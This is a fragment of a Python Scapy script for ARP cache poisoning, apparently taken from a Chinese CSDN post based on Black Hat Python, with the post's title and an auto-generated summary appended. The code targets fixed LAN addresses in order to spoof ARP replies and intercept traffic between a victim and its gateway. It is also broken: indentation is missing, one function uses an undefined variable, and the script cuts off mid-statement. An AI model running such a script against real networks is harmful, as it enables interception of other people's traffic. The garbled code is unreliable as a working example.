from scapy.all import *
import os
import sys
import threading
import signal
#interface = 'en1'
target_ip = '192.168.43.141'
gateway_ip = '192.168.43.1'
packet_count = 1000
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
print("[*] restoring target......")
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
os.kill(os.getpid(),signal.SIGINT)
def get_mac(ip_address):
srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address),timeout=2,retry=10)
for s,r in responses:
return(r[Ether].src)
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc =
python黑帽子:利用scapy进行arp缓存投毒
最新推荐文章于 2024-05-03 16:56:13 发布
本文探讨了如何使用Python的Scapy库进行ARP缓存中毒攻击。通过理解ARP协议的工作原理,学习如何利用Scapy发送欺骗ARP包,控制网络流量并解释可能的安全风险。
摘要由CSDN通过智能技术生成